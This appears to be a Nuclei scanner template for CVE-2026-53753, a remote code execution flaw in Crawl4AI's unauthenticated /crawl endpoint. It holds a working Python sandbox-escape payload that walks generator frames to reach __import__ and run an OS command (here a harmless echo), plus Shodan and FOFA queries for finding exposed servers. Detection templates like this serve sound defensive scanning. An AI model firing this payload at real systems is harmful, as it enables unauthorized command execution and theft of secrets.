Crawl4AI through 0.8.6 ships a Docker API server that exposes an unauthenticated /crawl endpoint. The computed field type of JsonCssExtractionStrategy evaluates a user supplied expression inside an AST based sandbox that does not restrict attribute access on generator frame objects. A generator expression can therefore reach gi_frame.f_back, walk the caller chain to f_builtins, recover __import__ and execute arbitrary operating system commands as the user running the container.
id: CVE-2026-53753
info:
name: Crawl4AI <= 0.8.6 - Remote Code Execution
author: aryu-ru,q1uf3ng,August829
severity: critical
description: |
Crawl4AI through 0.8.6 ships a Docker API server that exposes an unauthenticated /crawl endpoint. The computed field type of JsonCssExtractionStrategy evaluates a user supplied expression inside an AST based sandbox that does not restrict attribute access on generator frame objects. A generator expression can therefore reach gi_frame.f_back, walk the caller chain to f_builtins, recover __import__ and execute arbitrary operating system commands as the user running the container.
impact: |
An unauthenticated attacker can execute arbitrary operating system commands inside the crawler container, read or tamper with crawled data, steal provider API keys held in the container environment, and pivot into any network the container can reach.
remediation: |
Upgrade Crawl4AI to version 0.8.7 or later, where computed field expressions are disabled.
reference:
- https://github.com/unclecode/crawl4ai/security/advisories/GHSA-qxjp-w3pj-48m7
- https://github.com/unclecode/crawl4ai/pull/1855
- https://github.com/unclecode/crawl4ai/pull/1886
- https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-319.yaml
- https://nvd.nist.gov/vuln/detail/CVE-2026-53753
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-53753
epss-score: 0.029
epss-percentile: 0.86254
cwe-id: CWE-94
metadata:
verified: true
max-request: 2
vendor: unclecode
product: crawl4ai
shodan-query: http.title:"Crawl4AI Playground"
fofa-query: title="Crawl4AI Playground"
tags: cve,cve2026,crawl4ai,unclecode,rce,sandbox-escape
variables:
marker: "{{to_lower(rand_base(6))}}"
http:
- raw:
- |
POST /crawl HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"urls": [
"raw://<html><body><div>crawl4ai</div></body></html>"
],
"crawler_config": {
"type": "CrawlerRunConfig",
"params": {
"extraction_strategy": {
"type": "JsonCssExtractionStrategy",
"params": {
"schema": {
"name": "probe",
"baseSelector": "div",
"fields": [
{
"name": "probe",
"type": "computed",
"expression": "(lambda L: (L.append((L[0].gi_frame.f_back.f_back.f_back.f_builtins['__import__']('os').popen('echo {{marker}}$((31337*1337))').read() for q in [1])), list(L[0]))[1])([])"
}
]
}
}
}
}
}
}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{marker}}41897569"
- type: word
part: body
words:
- '"server_processing_time_s"'
- '"extracted_content"'
condition: and
- type: status
status:
- 200
# digest: 490a004630440220679eaa1b356d2754fda5f13755e14970e1d0d6561a70ce1008df90d2c19fd7d702201feb1a0ba9b0029d6304fe030e8eea34e9763af6243c32f7fe6516841014fbc5:922c64590222798bb761d5b6d8e72950
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